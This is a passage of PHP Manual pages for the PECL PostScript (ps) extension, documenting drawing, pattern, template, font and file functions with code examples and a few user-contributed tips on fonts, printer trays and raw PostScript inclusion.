Returns TRUE on success or FALSE on failure.

See Also

  • ps_end_page() - End a page
  • ps_findfont() - Loads a font
  • ps_set_info() - Sets information fields of document

User Contributed Notes

There are no user contributed notes for this page.
ps_arcn
ps_begin_pattern
PS Functions


Start a new pattern

ps_begin_page
ps_begin_template
PS Functions
PHP Manual

ps_begin_pattern

(PECL ps >= 1.2.0)

ps_begin_pattern — Start a new pattern

Description

int ps_begin_pattern ( resource $psdoc , float $width , float $height , float $xstep , float $ystep , int $painttype )

Starts a new pattern. A pattern is like a page containing e.g. a drawing which can be used for filling areas. It is used like a color by calling ps_setcolor() and setting the color space to pattern.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of the pattern in pixel.

height

The height of the pattern in pixel.

x-step

The distance in pixel of placements of the pattern in horizontal direction.

y-step

The distance in pixel of placements of the pattern in vertical direction.

painttype

Must be 1 or 2.

Return Values

The identifier of the pattern or FALSE on failure.

Examples

Example #1 Creating and using a pattern

<?php
$ps = ps_new();

if (!ps_open_file($ps, "pattern.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_parameter($ps, "warning", "true");
ps_set_info($ps, "Creator", "pattern.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Pattern example");

$pspattern = ps_begin_pattern($ps, 10.0, 10.0, 10.0, 10.0, 1);
ps_setlinewidth($ps, 0.2);
ps_setcolor($ps, "stroke", "rgb", 0.0, 0.0, 1.0, 0.0);
ps_moveto($ps, 0, 0);
ps_lineto($ps, 7, 7);
ps_stroke($ps);
ps_moveto($ps, 0, 7);
ps_lineto($ps, 7, 0);
ps_stroke($ps);
ps_end_pattern($ps);

ps_begin_page($ps, 596, 842);
ps_setcolor($ps, "both", "pattern", $pspattern, 0.0, 0.0, 0.0);
ps_rect($ps, 50, 400, 200, 200);
ps_fill($ps);
ps_end_page($ps);

ps_close($ps);
ps_delete($ps);
?>

See Also

  • ps_end_pattern() - End a pattern
  • ps_setcolor() - Sets current color
  • ps_shading_pattern() - Creates a pattern based on a shading

User Contributed Notes

There are no user contributed notes for this page.
ps_begin_page
ps_begin_template
PS Functions


Start a new template

ps_begin_pattern
ps_circle
PS Functions
PHP Manual

ps_begin_template

(PECL ps >= 1.2.0)

ps_begin_template — Start a new template

Description

int ps_begin_template ( resource $psdoc , float $width , float $height )

Starts a new template. A template is called a form in the postscript language. It is created similar to a pattern but used like an image. Templates are often used for drawings which are placed several times through out the document, e.g. like a company logo. All drawing functions may be used within a template. The template will not be drawn until it is placed by ps_place_image().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of the template in pixel.

height

The height of the template in pixel.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Creating and using a template

<?php
$ps = ps_new();

if (!ps_open_file($ps, "template.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_parameter($ps, "warning", "true");
ps_set_info($ps, "Creator", "template.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Template example");

$pstemplate = ps_begin_template($ps, 30.0, 30.0);
ps_moveto($ps, 0, 0);
ps_lineto($ps, 30, 30);
ps_moveto($ps, 0, 30);
ps_lineto($ps, 30, 0);
ps_stroke($ps);
ps_end_template($ps);

ps_begin_page($ps, 596, 842);
ps_place_image($ps, $pstemplate, 20.0, 20.0, 1.0);
ps_place_image($ps, $pstemplate, 50.0, 30.0, 0.5);
ps_place_image($ps, $pstemplate, 70.0, 70.0, 0.6);
ps_place_image($ps, $pstemplate, 30.0, 50.0, 1.3);
ps_end_page($ps);

ps_close($ps);
ps_delete($ps);
?>

See Also

  • ps_end_template() - End a template

User Contributed Notes

There are no user contributed notes for this page.
ps_begin_pattern
ps_circle
PS Functions


Draws a circle

ps_begin_template
ps_clip
PS Functions
PHP Manual

ps_circle

(PECL ps >= 1.1.0)

ps_circle — Draws a circle

Description

bool ps_circle ( resource $psdoc , float $x , float $y , float $radius )

Draws a circle with its middle point at (x, y). The circle starts and ends at position (x+radius, y). If this function is called outside a path it will start a new path. If it is called within a path it will add the circle as a subpath. If the last drawing operation does not end in point (x+radius, y) then there will be a gap in the path.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

The x-coordinate of the circle's middle point.

y

The y-coordinate of the circle's middle point.

radius

The radius of the circle

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_arc() - Draws an arc counterclockwise
  • ps_arcn() - Draws an arc clockwise

User Contributed Notes

There are no user contributed notes for this page.
ps_begin_template
ps_clip
PS Functions


Clips drawing to current path

ps_circle
ps_close_image
PS Functions
PHP Manual

ps_clip

(PECL ps >= 1.1.0)

ps_clip — Clips drawing to current path

Description

bool ps_clip ( resource $psdoc )

Takes the current path and uses it to define the border of a clipping area. Everything drawn outside of that area will not be visible.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_closepath() - Closes path

User Contributed Notes

There are no user contributed notes for this page.
ps_circle
ps_close_image
PS Functions


Closes image and frees memory

ps_clip
ps_close
PS Functions
PHP Manual

ps_close_image

(PECL ps >= 1.1.0)

ps_close_image — Closes image and frees memory

Description

void ps_close_image ( resource $psdoc , int $imageid )

Closes an image and frees its resources. Once an image is closed it cannot be used anymore.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

imageid

Resource identifier of the image as returned by ps_open_image() or ps_open_image_file().

Return Values

Returns NULL on success or FALSE on failure.

See Also

  • ps_open_image() - Reads an image for later placement
  • ps_open_image_file() - Opens image from file

User Contributed Notes

There are no user contributed notes for this page.
ps_clip
ps_close
PS Functions


Closes a PostScript document

ps_close_image
ps_closepath_stroke
PS Functions
PHP Manual

ps_close

(PECL ps >= 1.1.0)

ps_close — Closes a PostScript document

Description

bool ps_close ( resource $psdoc )

Closes the PostScript document.

This function writes the trailer of the PostScript document. It also writes the bookmark tree. ps_close() does not free any resources, which is done by ps_delete().

This function is also called by ps_delete() if it has not been called before.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_open_file() - Opens a file for output
  • ps_delete() - Deletes all resources of a PostScript document

User Contributed Notes

There are no user contributed notes for this page.
ps_close_image
ps_closepath_stroke
PS Functions


Closes and strokes path

ps_close
ps_closepath
PS Functions
PHP Manual

ps_closepath_stroke

(PECL ps >= 1.1.0)

ps_closepath_stroke — Closes and strokes path

Description

bool ps_closepath_stroke ( resource $psdoc )

Connects the last point with first point of a path and draws the resulting closed line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_closepath() - Closes path

User Contributed Notes

There are no user contributed notes for this page.
ps_close
ps_closepath
PS Functions


Closes path

ps_closepath_stroke
ps_continue_text
PS Functions
PHP Manual

ps_closepath

(PECL ps >= 1.1.0)

ps_closepath — Closes path

Description

bool ps_closepath ( resource $psdoc )

Connects the last point with the first point of a path. The resulting path can be used for stroking, filling, clipping, etc..

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_clip() - Clips drawing to current path
  • ps_closepath_stroke() - Closes and strokes path

User Contributed Notes

There are no user contributed notes for this page.
ps_closepath_stroke
ps_continue_text
PS Functions


Continue text in next line

ps_closepath
ps_curveto
PS Functions
PHP Manual

ps_continue_text

(PECL ps >= 1.1.0)

ps_continue_text — Continue text in next line

Description

bool ps_continue_text ( resource $psdoc , string $text )

Output a text one line below the last line. The line spacing is taken from the value "leading" which must be set with ps_set_value(). The actual position of the text is determined by the values "textx" and "texty" which can be requested with ps_get_value()

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to output.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_show() - Output text
  • ps_show_xy() - Output text at given position
  • ps_show_boxed() - Output text in a box

User Contributed Notes

There are no user contributed notes for this page.
ps_closepath
ps_curveto
PS Functions


Draws a curve

ps_continue_text
ps_delete
PS Functions
PHP Manual

ps_curveto

(PECL ps >= 1.1.0)

ps_curveto — Draws a curve

Description

bool ps_curveto ( resource $psdoc , float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )

Add a section of a cubic Bézier curve described by the three given control points to the current path.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x1

x-coordinate of first control point.

y1

y-coordinate of first control point.

x2

x-coordinate of second control point.

y2

y-coordinate of second control point.

x3

x-coordinate of third control point.

y3

y-coordinate of third control point.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_lineto() - Draws a line

User Contributed Notes

There are no user contributed notes for this page.
ps_continue_text
ps_delete
PS Functions


Deletes all resources of a PostScript document

ps_curveto
ps_end_page
PS Functions
PHP Manual

ps_delete

(PECL ps >= 1.1.0)

ps_delete — Deletes all resources of a PostScript document

Description

bool ps_delete ( resource $psdoc )

Mainly frees memory used by the document. Also closes a file, if it was not closed before with ps_close(). You should in any case close the file with ps_close() before, because ps_close() not just closes the file but also outputs a trailor containing PostScript comments like the number of pages in the document and adding the bookmark hierarchy.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_close() - Closes a PostScript document

User Contributed Notes

There are no user contributed notes for this page.
ps_curveto
ps_end_page
PS Functions


End a page

ps_delete
ps_end_pattern
PS Functions
PHP Manual

ps_end_page

(PECL ps >= 1.1.0)

ps_end_page — End a page

Description

bool ps_end_page ( resource $psdoc )

Ends a page which was started with ps_begin_page(). Ending a page will leave the current drawing context, which e.g. requires to reload fonts if they were loading within the page, and to set many other drawing parameters like the line width, or color..

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_begin_page() - Start a new page

User Contributed Notes

There are no user contributed notes for this page.
ps_delete
ps_end_pattern
PS Functions


End a pattern

ps_end_page
ps_end_template
PS Functions
PHP Manual

ps_end_pattern

(PECL ps >= 1.2.0)

ps_end_pattern — End a pattern

Description

bool ps_end_pattern ( resource $psdoc )

Ends a pattern which was started with ps_begin_pattern(). Once a pattern has been ended, it can be used like a color to fill areas.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_begin_pattern() - Start a new pattern

User Contributed Notes

There are no user contributed notes for this page.
ps_end_page
ps_end_template
PS Functions


End a template

ps_end_pattern
ps_fill_stroke
PS Functions
PHP Manual

ps_end_template

(PECL ps >= 1.2.0)

ps_end_template — End a template

Description

bool ps_end_template ( resource $psdoc )

Ends a template which was started with ps_begin_template(). Once a template has been ended, it can be used like an image.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_begin_template() - Start a new template

User Contributed Notes

There are no user contributed notes for this page.
ps_end_pattern
ps_fill_stroke
PS Functions


Fills and strokes the current path

ps_end_template
ps_fill
PS Functions
PHP Manual

ps_fill_stroke

(PECL ps >= 1.1.0)

ps_fill_stroke — Fills and strokes the current path

Description

bool ps_fill_stroke ( resource $psdoc )

Fills and draws the path constructed with previously called drawing functions like ps_lineto().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_fill() - Fills the current path
  • ps_stroke() - Draws the current path

User Contributed Notes

There are no user contributed notes for this page.
ps_end_template
ps_fill
PS Functions


Fills the current path

ps_fill_stroke
ps_findfont
PS Functions
PHP Manual

ps_fill

(PECL ps >= 1.1.0)

ps_fill — Fills the current path

Description

bool ps_fill ( resource $psdoc )

Fills the path constructed with previously called drawing functions like ps_lineto().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_fill_stroke() - Fills and strokes the current path
  • ps_stroke() - Draws the current path

User Contributed Notes

There are no user contributed notes for this page.
ps_fill_stroke
ps_findfont
PS Functions


Loads a font

ps_fill
ps_get_buffer
PS Functions
PHP Manual

ps_findfont

(PECL ps >= 1.1.0)

ps_findfont — Loads a font

Description

int ps_findfont ( resource $psdoc , string $fontname , string $encoding [, bool $embed = false ] )

Loads a font for later use. Before text is output with a loaded font it must be set with ps_setfont(). This function needs the adobe font metric file in order to calculate the space used up by the characters. A font which is loaded within a page will only be available on that page. Fonts which are to be used in the complete document have to be loaded before the first call of ps_begin_page(). Calling ps_findfont() between pages will make that font available for all following pages.

The name of the afm file must be fontname.afm. If the font shall be embedded the file fontname.pfb containing the font outline must be present as well.

Calling ps_findfont() before the first page requires to output the postscript header which includes the BoundingBox for the whole document. Usually the BoundingBox is set with the first call of ps_begin_page() which now comes after ps_findfont(). Consequently the BoundingBox has not been set and a warning will be issued when ps_findfont() is called. In order to prevent this situation, one should call ps_set_parameter() to set the BoundingBox before ps_findfont() is called.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

fontname

The name of the font.

encoding

ps_findfont() will try to load the file passed in the parameter encoding. Encoding files are of the same syntax as those used by dvips(1). They contain a font encoding vector (which is currently not used but must be present) and a list of extra ligatures to extend the list of ligatures derived from the afm file.

encoding can be NULL or the empty string if the default encoding (TeXBase1) shall be used.

If the encoding is set to builtin then there will be no reencoding and the font specific encoding will be used. This is very useful with symbol fonts.

embed

If set to a value >0 the font will be embedded into the document. This requires the font outline (.pfb file) to be present.

Return Values

Returns the identifier of the font or zero in case of an error. The identifier is a positive number.

See Also

  • ps_begin_page() - Start a new page
  • ps_setfont() - Sets font to use for following output

User Contributed Notes

yarych at bigmir dot net 25-Mar-2008 12:39
Ok, now I found the way to set the path I need for fonts - before calling ps_findfont() make a call like this:
<?php ps_set_parameter($psdoc, 'SearchPath', $fonts_dir); ?>

It works for pslib 0.4.1 version. (Looks like it didn't work in some earlier versions.)
yarych at bigmir dot net 29-Jan-2008 03:40
I've found out that pslib is searching for fonts in its data dir (/usr/share/pslib). There is no way to change the search path now.
pepe at dexef dot hu 13-Apr-2006 03:19
I found out that you must copy the <fontname>.afm files next to your php because it's searched there in default.
zeldorblat at gmail dot com 25-Jul-2005 07:47
I found that my Postscript files were taking an incredibly long time to generate and the file sizes were abnormally large.  The problem was that, everytime I chose to set a font I would call ps_findfont() followed by ps_setfont().

It seems that every time ps_findfont() is called, the font gets embedded in the file.  To prevent this, I keep an array of fonts I've already loaded, keyed by the font name.  When I go to set the font, I first check this array to see if I've already loaded the font, and, if so, return the resource handle from that array.  Otherwise, I call ps_findfont() and store the handle in the array.

Note that, if your call to ps_findfont() occurs while inside a page, the font will not be available on other pages.  To get around this I just clear out the array at the end of each page.

My PS file went from 10 M to 75 K, and the time to create the file went from around 15 seconds to less than 1 second.
ps_fill
ps_get_buffer
PS Functions


Fetches the full buffer containig the generated PS data

ps_findfont
ps_get_parameter
PS Functions
PHP Manual

ps_get_buffer

(PECL ps >= 1.1.0)

ps_get_buffer — Fetches the full buffer containig the generated PS data

Description

string ps_get_buffer ( resource $psdoc )

This function is not implemented yet. It will always return an empty string. The idea for a later implementation is to write the contents of the postscript file into an internal buffer if in memory creation is requested, and retrieve the buffer content with this function. Currently, documents created in memory are send to the browser without buffering.

Warning

This function is currently not documented; only its argument list is available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

See Also

  • ps_open_file() - Opens a file for output

User Contributed Notes

There are no user contributed notes for this page.
ps_findfont
ps_get_parameter
PS Functions


Gets certain parameters

ps_get_buffer
ps_get_value
PS Functions
PHP Manual

ps_get_parameter

(PECL ps >= 1.1.0)

ps_get_parameter — Gets certain parameters

Description

string ps_get_parameter ( resource $psdoc , string $name [, float $modifier ] )

Gets several parameters which were directly set by ps_set_parameter() or indirectly by one of the other functions. Parameters are by definition string values. This function cannot be used to retrieve resources which were also set by ps_set_parameter().

The parameter name can have the following values.

fontname

The name of the currently active font or the font whose identifier is passed in parameter modifier.

fontencoding

The encoding of the currently active font.

dottedversion

The version of the underlying pslib library in the format <major>.<minor>.<subminor>

scope

The current drawing scope. Can be object, document, null, page, pattern, path, template, prolog, font, glyph.

ligaturedisolvechar

The character which dissolves a ligature. If your are using a font which contains the ligature `ff' and `|' is the char to dissolve the ligature, then `f|f' will result in two `f' instead of the ligature `ff'.

imageencoding

The encoding used for encoding images. Can be either hex or 85. hex encoding uses two bytes in the postscript file each byte in the image. 85 stand for Ascii85 encoding.

linenumbermode

Set to paragraph if lines are numbered within a paragraph or box if they are numbered within the surrounding box.

linebreak

Only used if text is output with ps_show_boxed(). If set to TRUE a carriage return will add a line break.

parbreak

Only used if text is output with ps_show_boxed(). If set to TRUE a carriage return will start a new paragraph.

hyphenation

Only used if text is output with ps_show_boxed(). If set to TRUE the paragraph will be hyphenated if a hypen dictionary is set and exists.

hyphendict

Filename of the dictionary used for hyphenation pattern.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

Name of the parameter.

modifier

An identifier needed if a parameter of a resource is requested, e.g. the size of an image. In such a case the resource id is passed.

Return Values

Returns the value of the parameter or FALSE on failure.

See Also

  • ps_set_parameter() - Sets certain parameters

User Contributed Notes

There are no user contributed notes for this page.
ps_get_buffer
ps_get_value
PS Functions


Gets certain values

ps_get_parameter
ps_hyphenate
PS Functions
PHP Manual

ps_get_value

(PECL ps >= 1.1.0)

ps_get_value — Gets certain values

Description

float ps_get_value ( resource $psdoc , string $name [, float $modifier ] )

Gets several values which were set by ps_set_value(). Values are by definition float values.

The parameter name can have the following values.

fontsize

The size of the currently active font or the font whose identifier is passed in parameter modifier.

font

The currently active font itself.

imagewidth

The width of the image whose id is passed in the parameter modifier.

imageheight

The height of the image whose id is passed in the parameter modifier.

capheight

The height of a capital M in the currently active font or the font whose identifier is passed in parameter modifier.

ascender

The ascender of the currently active font or the font whose identifier is passed in parameter modifier.

descender

The descender of the currently active font or the font whose identifier is passed in parameter modifier.

italicangle

The italicangle of the currently active font or the font whose identifier is passed in parameter modifier.

underlineposition

The underlineposition of the currently active font or the font whose identifier is passed in parameter modifier.

underlinethickness

The underlinethickness of the currently active font or the font whose identifier is passed in parameter modifier.

textx

The current x-position for text output.

texty

The current y-position for text output.

textrendering

The current mode for text rendering.

textrise

The space by which text is risen above the base line.

leading

The distance between text lines in points.

wordspacing

The space between words as a multiple of the width of a space char.

charspacing

The space between chars. If charspacing is != 0.0 ligatures will always be dissolved.

hyphenminchars

Minimum number of chars hyphenated at the end of a word.

parindent

Indention of the first n line in a paragraph.

numindentlines

Number of line in a paragraph to indent if parindent != 0.0.

parskip

Distance between paragraphs.

linenumberspace

Overall space in front of each line for the line number.

linenumbersep

Space between the line and the line number.

major

The major version number of pslib.

minor

The minor version number of pslib.

subminor, revision

The subminor version number of pslib.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

Name of the value.

modifier

The parameter modifier specifies the resource for which the value is to be retrieved. This can be the id of a font or an image.

Return Values

Returns the value of the parameter or FALSE.

See Also

  • ps_set_value() - Sets certain values

User Contributed Notes

tilman dot schroeder at gmx dot de 31-Dec-2006 09:32
Note that the modifier parameter is REQUIRED in some (perhaps all) cases where you would not believe it to be required but optional:

<?php
$texty=ps_get_value($ps,'texty'); // does NOT work!

// but this works, however:

$foo=NULL;
$texty=ps_get_value($ps,'texty',$foo); // DOES work!

// this works too:
$texty=ps_get_value($ps,'texty',NULL);
?>

if your script just fails and sends a file with zero length to your browser just try the workaround above. saves time and you will not get upset ;)

would be nice if somebody would be able to tell why pslib behaves this way ...

PHP version 4.4.4-8, pslib verision 0.2.7-1 (Debian etch)

Bye and a happy new year!
Tilman
ps_get_parameter
ps_hyphenate
PS Functions


Hyphenates a word

ps_get_value
ps_include_file
PS Functions
PHP Manual

ps_hyphenate

(PECL ps >= 1.1.1)

ps_hyphenate — Hyphenates a word

Description

array ps_hyphenate ( resource $psdoc , string $text )

Hyphenates the passed word. ps_hyphenate() evaluates the value hyphenminchars (set by ps_set_value()) and the parameter hyphendict (set by ps_set_parameter()). hyphendict must be set before calling this function.

This function requires the locale category LC_CTYPE to be set properly. This is done when the extension is initialized by using the environment variables. On Unix systems read the man page of locale for more information.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

text should not contain any non alpha characters. Possible positions for breaks are returned in an array of interger numbers. Each number is the position of the char in text after which a hyphenation can take place.

Return Values

An array of integers indicating the position of possible breaks in the text or FALSE on failure.

Examples

Example #1 Hyphennate a text

<?php
$word = "Koordinatensystem";
$psdoc = ps_new();
ps_set_parameter($psdoc, "hyphendict", "hyph_de.dic");
$hyphens = ps_hyphenate($psdoc, $word);
for($i=0; $i<strlen($word); $i++) {
  echo $word[$i];
  if(in_array($i, $hyphens))
    echo "-";
}
ps_delete($psdoc);
?>

The above example will output:

Ko-ordi-na-ten-sys-tem

See Also

  • ps_show_boxed() - Output text in a box
  • locale(1)

User Contributed Notes

There are no user contributed notes for this page.
ps_get_value
ps_include_file
PS Functions


Reads an external file with raw PostScript code

ps_hyphenate
ps_lineto
PS Functions
PHP Manual

ps_include_file

(PECL ps >= 1.3.4)

ps_include_file — Reads an external file with raw PostScript code

Description

bool ps_include_file ( resource $psdoc , string $file )

Warning

This function is currently not documented; only its argument list is available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

file

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

php at catchall dot toao dot net 16-Jun-2009 12:46
I wanted to print to a specific tray of my printer, a Dell 3110cn.  Some printers allow you to specify in their config what tray will be used as a default tray, but my printer doesn't.  Googling told me that printing to a specific tray is not a function of PostScript but rather a function of my printer itself.  So, I had to find the function for my specific printer.  I located a PPD file for my printer.  Purely by luck (I searched through the file for the word 'tray') I found the following:

*InputSlot 2ndTray-H/Tray 2 (500 Sheets): "
  3 dict begin
  /MediaPosition 1 def
  /DeferredMediaSelection true def
  /TraySwitch false def
  currentdict end setpagedevice
" *End

I saved this as a file named Dell.ps, without the first and last lines, and with a blank line at the end.  Then I used the following command in my program:

<?php ps_include_file($ps, 'Dell.ps'); ?>

It worked!
lindsay at dingos dot net 14-Mar-2008 06:43
This method allows you to insert raw postscript at any point in the postscript document.
You can use this function to include 'Barcodes in pure PostScript' in the prolog of your postscript document, and then create a temporary file that contains the necessary postscript to actually call the barcode generating postscript function at whatever point in your document you want it to appear.

it would be nice if there was an alternate form of this function that allowed you to just insert the raw postscript other than make a temporary file to be opened by the function.
ps_hyphenate
ps_lineto
PS Functions


Draws a line

ps_include_file
ps_makespotcolor
PS Functions
PHP Manual

ps_lineto

(PECL ps >= 1.1.0)

ps_lineto — Draws a line

Description

bool ps_lineto ( resource $psdoc , float $x , float $y )

Adds a straight line from the current point to the given coordinates to the current path. Use ps_moveto() to set the starting point of the line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the end point of the line.

y

y-coordinate of the end point of the line.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Drawing a rectangle

<?php
$ps = ps_new();
if (!ps_open_file($ps, "rectangle.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_info($ps, "Creator", "rectangle.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Lineto example");

ps_begin_page($ps, 596, 842);
ps_moveto($ps, 100, 100);
ps_lineto($ps, 100, 200);
ps_lineto($ps, 200, 200);
ps_lineto($ps, 200, 100);
ps_lineto($ps, 100, 100);
ps_stroke($ps);
ps_end_page($ps);

ps_delete($ps);
?>

See Also

  • ps_moveto() - Sets current point

User Contributed Notes

There are no user contributed notes for this page.
ps_include_file
ps_makespotcolor
PS Functions


Create spot color

ps_lineto
ps_moveto
PS Functions
PHP Manual

ps_makespotcolor

(PECL ps >= 1.1.0)

ps_makespotcolor — Create spot color

Description

int ps_makespotcolor ( resource $psdoc , string $name [, int $reserved = 0 ] )

Creates a spot color from the current fill color. The fill color must be defined in rgb, cmyk or gray colorspace. The spot color name can be an arbitrary name. A spot color can be set as any color with ps_setcolor(). When the document is not printed but displayed by an postscript viewer the given color in the specified color space is use.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

Name of the spot color, e.g. Pantone 5565.

Return Values

The id of the new spot color or 0 in case of an error.

Examples

Example #1 Creating and using a spot color

<?php
$ps = ps_new();
if (!ps_open_file($ps, "spotcolor.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_info($ps, "Creator", "spotcolor.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Spot color example");

ps_begin_page($ps, 596, 842);
ps_setcolor($ps, "fill", "cmyk", 0.37, 0.0, 0.34, 0.34);
$spotcolor = ps_makespotcolor($ps, "PANTONE 5565 C", 0);
ps_setcolor($ps, "fill", "spot", $spotcolor, 0.5, 0.0, 0.0);
ps_moveto($ps, 100, 100);
ps_lineto($ps, 100, 200);
ps_lineto($ps, 200, 200);
ps_lineto($ps, 200, 100);
ps_lineto($ps, 100, 100);
ps_fill($ps);
ps_end_page($ps);

ps_delete($ps);
?>

This example creates the spot color "PANTONE 5565 C" which is a darker green (olive) and fills a rectangle with 50% intensity.

See Also

  • ps_setcolor() - Sets current color

User Contributed Notes

There are no user contributed notes for this page.
ps_lineto
ps_moveto
PS Functions


Sets current point

ps_makespotcolor
ps_new
PS Functions
PHP Manual

ps_moveto

(PECL ps >= 1.1.0)

ps_moveto — Sets current point

Description

bool ps_moveto ( resource $psdoc , float $x , float $y )

Sets the current point to new coordinates. If this is the first call of ps_moveto() after a previous path has been ended then it will start a new path. If this function is called in the middle of a path it will just set the current point and start a subpath.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the point to move to.

y

y-coordinate of the point to move to.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_lineto() - Draws a line

User Contributed Notes

There are no user contributed notes for this page.
ps_makespotcolor
ps_new
PS Functions


Creates a new PostScript document object

ps_moveto
ps_open_file
PS Functions
PHP Manual

ps_new

(PECL ps >= 1.1.0)

ps_new — Creates a new PostScript document object

Description

resource ps_new ( void )

Creates a new document instance. It does not create the file on disk or in memory, it just sets up everything. ps_new() is usually followed by a call of ps_open_file() to actually create the postscript document.

Return Values

Resource of PostScript document or FALSE on failure. The return value is passed to all other functions as the first argument.

See Also

  • ps_delete() - Deletes all resources of a PostScript document

User Contributed Notes

There are no user contributed notes for this page.
ps_moveto
ps_open_file
PS Functions


Opens a file for output

ps_new
ps_open_image_file
PS Functions
PHP Manual

ps_open_file

(PECL ps >= 1.1.0)

ps_open_file — Opens a file for output

Description

bool ps_open_file ( resource $psdoc [, string $filename ] )

Creates a new file on disk and writes the PostScript document into it. The file will be closed when ps_close() is called.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

filename

The name of the postscript file. If filename is not passed the document will be created in memory and all output will go straight to the browser.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_close() - Closes a PostScript document

User Contributed Notes

php at catchall dot toao dot net 05-Jul-2009 08:42
Today, I used this function and did not specify a path to the file name.  The file was created in C:\Program Files\Apache2.2 instead of the current working directory.  When using this function, be sure to specify the full path to the file that should be created.
ps_new
ps_open_image_file
PS Functions


Opens image from file

ps_open_file
ps_open_image
PS Functions
PHP Manual

ps_open_image_file

(PECL ps >= 1.1.0)

ps_open_image_file — Opens image from file

Description

int ps_open_image_file ( resource $psdoc , string $type , string $filename [, string $stringparam [, int $intparam = 0 ]] )

Loads an image for later use.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of the image. Possible values are png, jpeg, or eps.

filename

The name of the file containing the image data.

stringparam

Not used.

intparam

Not used.

Return Values

Returns identifier of image or zero in case of an error. The identifier is a positive number greater than 0.

See Also

  • ps_open_image() - Reads an image for later placement
  • ps_place_image() - Places image on the page
  • ps_close_image() - Closes image and frees memory

User Contributed Notes

There are no user contributed notes for this page.
ps_open_file
ps_open_image
PS Functions


Reads an image for later placement

ps_open_image_file
ps_open_memory_image
PS Functions
PHP Manual

ps_open_image

(PECL ps >= 1.1.0)

ps_open_image — Reads an image for later placement

Description

int ps_open_image ( resource $psdoc , string $type , string $source , string $data , int $lenght , int $width , int $height , int $components , int $bpc , string $params )

Reads an image which is already available in memory. The parameter source is currently not evaluated and assumed to be memory. The image data is a sequence of pixels starting in th upper left corner and ending in the lower right corner. Each pixel consists of components color components, and each component has bpc bits.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of the image. Possible values are png, jpeg, or eps.

source

Not used.

data

The image data.

length

The length of the image data.

width

The width of the image.

height

The height of the image.

components

The number of components for each pixel. This can be 1 (gray scale images), 3 (rgb images), or 4 (cmyk, rgba images).

bpc

Number of bits per component (quite often 8).

params

Return Values

Returns identifier of image or zero in case of an error. The identifier is a positive number greater than 0.

See Also

  • ps_open_image_file() - Opens image from file
  • ps_place_image() - Places image on the page
  • ps_close_image() - Closes image and frees memory

User Contributed Notes

There are no user contributed notes for this page.
ps_open_image_file
ps_open_memory_image
PS Functions


Takes an GD image and returns an image for placement in a PS document

ps_open_image
ps_place_image
PS Functions
PHP Manual

ps_open_memory_image

(PECL ps >= 1.1.0)

ps_open_memory_image — Takes an GD image and returns an image for placement in a PS document

Description

int ps_open_memory_image ( resource $psdoc , int $gd )

Warning

This function is currently not documented; only its argument list is available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

gd

User Contributed Notes

There are no user contributed notes for this page.
ps_open_image
ps_place_image
PS Functions


Places image on the page

ps_open_memory_image
ps_rect
PS Functions
PHP Manual

ps_place_image

(PECL ps >= 1.1.0)

ps_place_image — Places image on the page

Description

